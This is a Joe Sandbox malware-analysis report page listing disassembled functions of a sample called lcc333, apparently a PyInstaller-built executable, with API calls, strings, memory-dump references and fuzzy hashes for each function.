Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: CurrentProcess
String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2050909247-2813020118
Opcode ID: 8f2f3123d1cabff2ad8e3db6a95d4b235f7cad2490955ba460222a7cf36d71df
Instruction ID: fb77f5e35228911c228639be2cfcea67fc9d1404755acc3583354a3553cd79a5
Opcode Fuzzy Hash: 8f2f3123d1cabff2ad8e3db6a95d4b235f7cad2490955ba460222a7cf36d71df
Instruction Fuzzy Hash: 2651A522A08E4345E660BF13E4813BAE291BF867A4FD44536EE4D477D5EE3CE549C720

Function 00007FF714C9ED10 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?,?,?,00007FF714C9F0AA,?,?,-00000018,00007FF714C9AD53,?,?,?,00007FF714C9AC4A,?,?,?,00007FF714C95F3E), ref: 00007FF714C9EE8C
GetProcAddress.KERNEL32(?,?,?,00007FF714C9F0AA,?,?,-00000018,00007FF714C9AD53,?,?,?,00007FF714C9AC4A,?,?,?,00007FF714C95F3E), ref: 00007FF714C9EE98

Strings

api-ms-, xrefs: 00007FF714C9EDD6
ext-ms-, xrefs: 00007FF714C9EDE9

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 113d78e4ddfca44ef7199ea688f338981f8b4522c7c5ddaba00381c3941a83e2
Instruction ID: 7ee319b8170dd027ef0eafbf28a3d5a2ec504ca10f58079079e152f99f7f5025
Opcode Fuzzy Hash: 113d78e4ddfca44ef7199ea688f338981f8b4522c7c5ddaba00381c3941a83e2
Instruction Fuzzy Hash: A441CF62B19E0251EB15AF17EC80575A2A1BF5ABB0FD8453ADD1D47784FE3CE4098620

Function 00007FF714C836B0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(?,00007FF714C83804), ref: 00007FF714C836E1
GetLastError.KERNEL32(?,00007FF714C83804), ref: 00007FF714C836EB

Part of subcall function 00007FF714C82C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF714C83706,?,00007FF714C83804), ref: 00007FF714C82C9E
Part of subcall function 00007FF714C82C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF714C83706,?,00007FF714C83804), ref: 00007FF714C82D63
Part of subcall function 00007FF714C82C50: MessageBoxW.USER32 ref: 00007FF714C82D99

Strings

Failed to obtain executable path., xrefs: 00007FF714C836F3
Failed to resolve full path to executable %ls., xrefs: 00007FF714C83739
GetModuleFileNameW, xrefs: 00007FF714C836FA
Failed to convert executable path to UTF-8., xrefs: 00007FF714C83790
\\?\, xrefs: 00007FF714C8375A

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: Message$CurrentErrorFileFormatLastModuleNameProcess
String ID: Failed to convert executable path to UTF-8.$Failed to obtain executable path.$Failed to resolve full path to executable %ls.$GetModuleFileNameW$\\?\
API String ID: 3187769757-2863816727
Opcode ID: 7a7bb6314ef99d1ea6b5a99dff4d55fbb7227be169d5ba9e119ffda366a0a745
Instruction ID: 51a08fd9d07fb61c4e73bf911b9fc9526f7ca8c9a78c56000db06b2b6138fd7a
Opcode Fuzzy Hash: 7a7bb6314ef99d1ea6b5a99dff4d55fbb7227be169d5ba9e119ffda366a0a745
Instruction Fuzzy Hash: C0215162B18D4381FA20BF22E8963B6A251BF86764FC00533D65E825E5FE2CE50CC720

Function 00007FF714C9BA5C Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF714C9BE89

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 1c0df5e74df0118619baac061aee596465bcef498cfc928fc9eaa168a483e3b3
Instruction ID: 6bc43d59b8b5def7f889fc9c8f861297b66965ea3d830f92c17f7461f31c1629
Opcode Fuzzy Hash: 1c0df5e74df0118619baac061aee596465bcef498cfc928fc9eaa168a483e3b3
Instruction Fuzzy Hash: 3DC1A52291CE87B1E660AF16D8802BDB754FB82BA0FD54132EA4D07795FE7CE44D8720

Function 00007FF714C88570 Relevance: 10.6, APIs: 7, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF714C88590
OpenProcessToken.ADVAPI32 ref: 00007FF714C885A3
GetTokenInformation.KERNELBASE ref: 00007FF714C885C8
GetLastError.KERNEL32 ref: 00007FF714C885D2
GetTokenInformation.KERNELBASE ref: 00007FF714C88612
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF714C8862E
CloseHandle.KERNEL32 ref: 00007FF714C88646

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: Token$InformationProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID:
API String ID: 995526605-0
Opcode ID: 1c88e2159774aae00215e56fe2a2a719af09135261df6dbcfc7a62e4558c2eb4
Instruction ID: 46e1782de8bd4d3dada935d3ca933220ce07e25edfdd976fd192429bd6a9f9fc
Opcode Fuzzy Hash: 1c88e2159774aae00215e56fe2a2a719af09135261df6dbcfc7a62e4558c2eb4
Instruction Fuzzy Hash: DF212622A0CA4341E650AF56F58512AE7A0EB867B0F900636E76D43AD4EE7CD4498720

Function 00007FF714C890E0 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF714C88570: GetCurrentProcess.KERNEL32 ref: 00007FF714C88590
Part of subcall function 00007FF714C88570: OpenProcessToken.ADVAPI32 ref: 00007FF714C885A3
Part of subcall function 00007FF714C88570: GetTokenInformation.KERNELBASE ref: 00007FF714C885C8
Part of subcall function 00007FF714C88570: GetLastError.KERNEL32 ref: 00007FF714C885D2
Part of subcall function 00007FF714C88570: GetTokenInformation.KERNELBASE ref: 00007FF714C88612
Part of subcall function 00007FF714C88570: ConvertSidToStringSidW.ADVAPI32 ref: 00007FF714C8862E
Part of subcall function 00007FF714C88570: CloseHandle.KERNEL32 ref: 00007FF714C88646

LocalFree.KERNEL32(?,00007FF714C83C55), ref: 00007FF714C8916C
LocalFree.KERNEL32(?,00007FF714C83C55), ref: 00007FF714C89175

Strings

S-1-3-4, xrefs: 00007FF714C89121
D:(A;;FA;;;%s)(A;;FA;;;%s), xrefs: 00007FF714C89142
Security descriptor string length exceeds PYI_PATH_MAX!, xrefs: 00007FF714C89183
D:(A;;FA;;;%s), xrefs: 00007FF714C89157

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: Token$FreeInformationLocalProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID: D:(A;;FA;;;%s)$D:(A;;FA;;;%s)(A;;FA;;;%s)$S-1-3-4$Security descriptor string length exceeds PYI_PATH_MAX!
API String ID: 6828938-1529539262
Opcode ID: 0222097b9c90264a1a2c87a2a2fde68e1a94831f5278aced0db9eca26447961c
Instruction ID: ae3794c728ad2c8ded654fbd586e52560eb0764b90d10aa9ae8308b71b645e7f
Opcode Fuzzy Hash: 0222097b9c90264a1a2c87a2a2fde68e1a94831f5278aced0db9eca26447961c
Instruction Fuzzy Hash: 82216135A08E4282F610BF12E4962FAA261FF86790FD44433EA4D53B95EF3CD8098760

Function 00007FF714C87E20 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(00000000,?,00007FF714C8352C,?,00000000,00007FF714C83F1B), ref: 00007FF714C87F32

Strings

\, xrefs: 00007FF714C87E97
%.*s, xrefs: 00007FF714C87EEB
%s%c, xrefs: 00007FF714C87EA4

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: CreateDirectory
String ID: %.*s$%s%c$\
API String ID: 4241100979-1685191245
Opcode ID: 9023beffec3a57a4629e8abb22503f1b718fcdb28fa34784c50d465fb9ddbb72
Instruction ID: 6f7a03c009e85ba98741b53b1255a2ec328ff491e6a61607471569cd566da8d2
Opcode Fuzzy Hash: 9023beffec3a57a4629e8abb22503f1b718fcdb28fa34784c50d465fb9ddbb72
Instruction Fuzzy Hash: 0031DA71619EC245EA21AF12E8917AAA354EF85BF4F800232EA6D477C5EE3CD6098710

Function 00007FF714C9CF60 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF714C9CF4B), ref: 00007FF714C9D07C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF714C9CF4B), ref: 00007FF714C9D107

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: a47a8d54e36ced6583969bea4ac316e5fdc1f02f5f342ddc714eca2f45cad1a1
Instruction ID: 054e0fabb91316752f8fdab88e7bad39ceab42b9e6e8cba61129b18488fe9b8a
Opcode Fuzzy Hash: a47a8d54e36ced6583969bea4ac316e5fdc1f02f5f342ddc714eca2f45cad1a1
Instruction Fuzzy Hash: D291DA33E18E5165F760AF66D8C027DA7A0BB46BA4F944137DE0E63694EF38D44AC720

Function 00007FF714C9F98C Relevance: 6.2, APIs: 4, Instructions: 162COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF714C9FA7C
_get_daylight.LIBCMT ref: 00007FF714C9FA8D
_get_daylight.LIBCMT ref: 00007FF714C9FA9E
_isindst.LIBCMT ref: 00007FF714C9FB69

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: 873197461a12b50781dd6dd2a54ab0b7f590f407db75148e336b6c99fa373a01
Instruction ID: 43463cee2f4dd7b4162974737ac818a8f1f77925e135db84ad363e777eb223c9
Opcode Fuzzy Hash: 873197461a12b50781dd6dd2a54ab0b7f590f407db75148e336b6c99fa373a01
Instruction Fuzzy Hash: 6A513A72F049129AFB14EF65DDE12BCA761AF45778F900236DD1D52AD4EF38A40AC710

Function 00007FF714C9577C Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE ref: 00007FF714C957AF
GetFileInformationByHandle.KERNELBASE ref: 00007FF714C95811
GetLastError.KERNEL32 ref: 00007FF714C958A2
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF714C956B4), ref: 00007FF714C958EE

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: 6aefb500db5e0848cb3e1a230f039049599ff649377a7022c72adab745f1037c
Instruction ID: a688c7c9cc8ea782617aceaf3b1181c21d7d3eb639309bb917571fce743eae08
Opcode Fuzzy Hash: 6aefb500db5e0848cb3e1a230f039049599ff649377a7022c72adab745f1037c
Instruction Fuzzy Hash: F051A533E04A4199FB10EF72D8903BDB7A1AB59B68F514836DE0D47688EF38D445C764

Function 00007FF714C95628 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF714C95655
CreateFileW.KERNELBASE ref: 00007FF714C95694
CloseHandle.KERNEL32 ref: 00007FF714C956C9

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: 8f3d5377b4ca72f71b0fe910297a4b2920b1cd85568e136600ee028e7f718979
Instruction ID: 093b36707c825e42591743e0cc80d15840bdefc9176b8a979a3ecfad149d407c
Opcode Fuzzy Hash: 8f3d5377b4ca72f71b0fe910297a4b2920b1cd85568e136600ee028e7f718979
Instruction Fuzzy Hash: 02419623D18B8193E610AF22D990369B260FBA57B4F505336E65C03AD5EF7CA1A48710

Function 00007FF714C8CC3C Relevance: 4.6, APIs: 3, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF714C8CE0C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF714C8CE20

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF714C8CC60
__scrt_release_startup_lock.LIBCMT ref: 00007FF714C8CCCE
__scrt_get_show_window_mode.LIBCMT ref: 00007FF714C8CD21

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3251591375-0
Opcode ID: b3dd18574e8b698ea28c35ed35ed65a6730a16d6ac14c38d0a8ba428da0d66bc
Instruction ID: f56b716cec8944425e8e7cbd2a911e2c83d98f65b213ed2e1d0f8a471caf2761
Opcode Fuzzy Hash: b3dd18574e8b698ea28c35ed35ed65a6730a16d6ac14c38d0a8ba428da0d66bc
Instruction Fuzzy Hash: A4313731E0894741FA24BF67D8D23B99691AF537A4FC45437EA0E472D3EE2DA80D8230

Function 00007FF714C99A30 Relevance: 4.5, APIs: 3, Instructions: 14COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF714C99A2C), ref: 00007FF714C99A41
TerminateProcess.KERNEL32(?,?,?,00007FF714C99A2C), ref: 00007FF714C99A4C
ExitProcess.KERNEL32 ref: 00007FF714C99A5B

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 148d460979eed4a43ebbf671c65dc2dc638c0d89c9c01e8e00358d5495882c84
Instruction ID: 47550fdbb9f863ad4d74f1935913a471c2d55b986204906398f944ff96c74171
Opcode Fuzzy Hash: 148d460979eed4a43ebbf671c65dc2dc638c0d89c9c01e8e00358d5495882c84
Instruction Fuzzy Hash: 1ED06715B08B0652EB143F729CD90B89255AF4AB21FA41C3ACA0A06397FD2CA84D4320

Function 00007FF714C9013C Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF714C90180
_invalid_parameter_noinfo.LIBCMT ref: 00007FF714C90277

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: e80cfa20b6c7ebf2f27a6dba6ddb06cb01cda21135ba71ef9e2cf3b7629ca058
Instruction ID: 81f7a3d758d4b56cfba70f01e2ed153dfa14e8f9b8bb21e5a8d02dad6c4324fc
Opcode Fuzzy Hash: e80cfa20b6c7ebf2f27a6dba6ddb06cb01cda21135ba71ef9e2cf3b7629ca058
Instruction Fuzzy Hash: 04512CA1B09E41A6E728BE27DC8067AE290BF42BB4F944636DD7C037C5EE3CD4048620

Function 00007FF714C9C134 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,?,?,?,00007FF714C9C2CD), ref: 00007FF714C9C180
GetLastError.KERNEL32(?,?,?,?,?,00007FF714C9C2CD), ref: 00007FF714C9C18A

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 7d52f85de62641260209e8dbb28c5e1251e01e8bf24b4306ce9dcd9badf2c9c6
Instruction ID: 76dec497209d907faf3eced7f88ea912c66b3dc9453b038f5c3e141465a3244f
Opcode Fuzzy Hash: 7d52f85de62641260209e8dbb28c5e1251e01e8bf24b4306ce9dcd9badf2c9c6
Instruction Fuzzy Hash: 7111C476618E8181DA20AF26F894169E361AB46FF4F944332EF7D077D9EE3CD0198714

Function 00007FF714C95924 Relevance: 3.0, APIs: 2, Instructions: 40timeCOMMON

Download Yara Rule

APIs

FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF714C95839), ref: 00007FF714C95957
SystemTimeToTzSpecificLocalTime.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF714C95839), ref: 00007FF714C9596D

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: Time$System$FileLocalSpecific
String ID:
API String ID: 1707611234-0
Opcode ID: 497c6f3b45805196ef8f930e068bad9451f3f50de380bc241881b145e929bf5b
Instruction ID: aadbb629b838d664c436ba2e404efb630bb2b5b325dae3ac33ccafc3f12100d4
Opcode Fuzzy Hash: 497c6f3b45805196ef8f930e068bad9451f3f50de380bc241881b145e929bf5b
Instruction Fuzzy Hash: 2211823260CA1281EA546F16E89103AF760EB96B71F90023BF699819D4FF6CD019DB20

Function 00007FF714C9A948 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,?,?,00007FF714CA2D22,?,?,?,00007FF714CA2D5F,?,?,00000000,00007FF714CA3225,?,?,?,00007FF714CA3157), ref: 00007FF714C9A95E
GetLastError.KERNEL32(?,?,?,00007FF714CA2D22,?,?,?,00007FF714CA2D5F,?,?,00000000,00007FF714CA3225,?,?,?,00007FF714CA3157), ref: 00007FF714C9A968

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
